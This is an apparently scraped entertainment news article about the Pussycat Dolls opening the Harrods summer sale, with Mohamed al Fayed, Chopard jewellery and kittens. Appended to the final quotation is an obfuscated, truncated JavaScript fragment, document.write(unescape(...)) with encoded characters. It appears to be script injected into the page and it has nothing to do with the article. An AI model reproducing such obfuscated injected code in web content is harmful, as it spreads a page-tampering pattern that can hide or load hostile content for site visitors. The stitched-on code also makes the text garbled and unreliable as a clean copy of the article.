Pussycat Dolls launch Harrods sale

American pop group the Pussycat Dolls added a touch of glamour to the opening of the Harrods summer sale.

The all-girl band drew up outside the store in a horse-drawn carriage, accompanied by three bagpipers and a vintage Harrods van, to declare the sale officially on. The six singers blew kisses and waved to the waiting crowd before being welcomed by Harrods owner Mohamed al Fayed.

Before the group arrived, Mr al Fayed had greeted the throngs of bargain hunters, shaking hands and posing for photos. Shoppers were offered tea, coffee and water while they waited for the store to open.

As the band - Nicole Scherzinger, Ashley Roberts, Melody Thornton, Kimberly Wyatt, Carmit Bachar and Jessica Sutta - arrived, a gust of wind blew Ashley's skirt up. She was rescued by Mr al Fayed, who dived towards her to help cover her up.

The group and Mr al Fayed entered the store accompanied by 50 members of the public, to the strains of their number one hit Don't Cha.

From a podium, the girls joined in the traditional countdown to the start of the sale.

They then took a tour of the store, where they were introduced to a life-size wax model of Mr al Fayed and tried on half a million pounds worth of Chopard jewellery, which they wore for the rest of their visit. They also posed for photos with a litter of real-life "pussycats".

Jessica said: "It is absolutely amazing to be here. It's magical to turn up at a store like Harrods in a horse-drawn carriage with bagpipers playing. It's been a complete honour. I've never done anything like it in my whole life.

"My favourite part was meeting the kittens. All the other girls had kittens that were scratching and biting but mine was really chilled out. A real-life pussycat, just like us.

"We're thrilled to be able to wear all of this fancy jewellery. I've never worn anything like it. I'm going to have a word with Mohamed to see if I can keep some of it."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;